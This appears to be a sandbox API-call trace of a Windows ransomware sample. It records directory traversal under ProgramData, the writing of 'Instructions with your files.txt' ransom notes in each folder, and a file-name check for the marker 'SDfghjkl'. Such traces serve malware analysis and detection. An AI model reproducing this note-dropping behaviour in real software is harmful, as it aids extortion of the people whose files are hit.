[0120.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0120.836] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\.") returned 41
[0120.836] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.836] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\..") returned 42
[0120.836] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0120.836] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\Instructions with your files.txt") returned 72
[0120.836] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0120.837] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0120.838] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0120.838] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0120.838] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0120.838] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0120.838] CloseHandle (hObject=0x110) returned 1
[0120.838] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0120.838] GetProcessHeap () returned 0x810000
[0120.838] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0120.838] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
[0120.838] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\Instructions with your files.txt") returned 67
[0120.838] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\ehome\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0120.844] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0120.844] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0120.844] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0120.845] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0120.845] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0120.845] CloseHandle (hObject=0x10c) returned 1
[0120.845] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0120.845] GetProcessHeap () returned 0x810000
[0120.845] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0120.845] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
[0120.845] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer") returned 41
[0120.845] GetProcessHeap () returned 0x810000
[0120.845] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0120.845] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\*") returned 43
[0120.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0120.847] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\.") returned 43
[0120.847] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.847] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\..") returned 44
[0120.847] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1
[0120.847] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned 47
[0120.847] GetProcessHeap () returned 0x810000
[0120.847] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0120.847] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*") returned 49
[0120.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0120.848] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\.") returned 49
[0120.848] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.848] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\..") returned 50
[0120.848] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1
[0120.848] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 72
[0120.848] GetProcessHeap () returned 0x810000
[0120.848] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0120.848] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned 74
[0120.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0120.848] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\.") returned 74
[0120.848] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.848] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\..") returned 75
[0120.849] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0120.849] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Instructions with your files.txt") returned 105
[0120.849] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\applicationviewsrootnode\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0120.849] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0120.850] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0120.850] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0120.850] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0120.850] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0120.850] CloseHandle (hObject=0x114) returned 1
[0120.850] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0120.850] GetProcessHeap () returned 0x810000
[0120.850] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0120.850] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0
[0120.850] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\Instructions with your files.txt") returned 80
[0120.850] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0121.005] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0121.006] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0121.006] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0121.006] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0121.006] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0121.006] CloseHandle (hObject=0x110) returned 1
[0121.007] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0121.007] GetProcessHeap () returned 0x810000
[0121.007] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0121.007] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0
[0121.007] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Instructions with your files.txt") returned 74
[0121.007] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\event viewer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0121.007] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0121.008] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0121.008] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0121.008] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0121.008] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0121.008] CloseHandle (hObject=0x10c) returned 1
[0121.009] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0121.009] GetProcessHeap () returned 0x810000
[0121.009] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0121.009] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
[0121.009] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL") returned 40
[0121.009] GetProcessHeap () returned 0x810000
[0121.009] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0121.009] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned 42
[0121.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0121.009] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\.") returned 42
[0121.009] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.009] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\..") returned 43
[0121.009] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1
[0121.009] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned 56
[0121.009] StrStrIW (lpFirst="ppcrlconfig.dll", lpSrch="SDfghjkl") returned 0x0
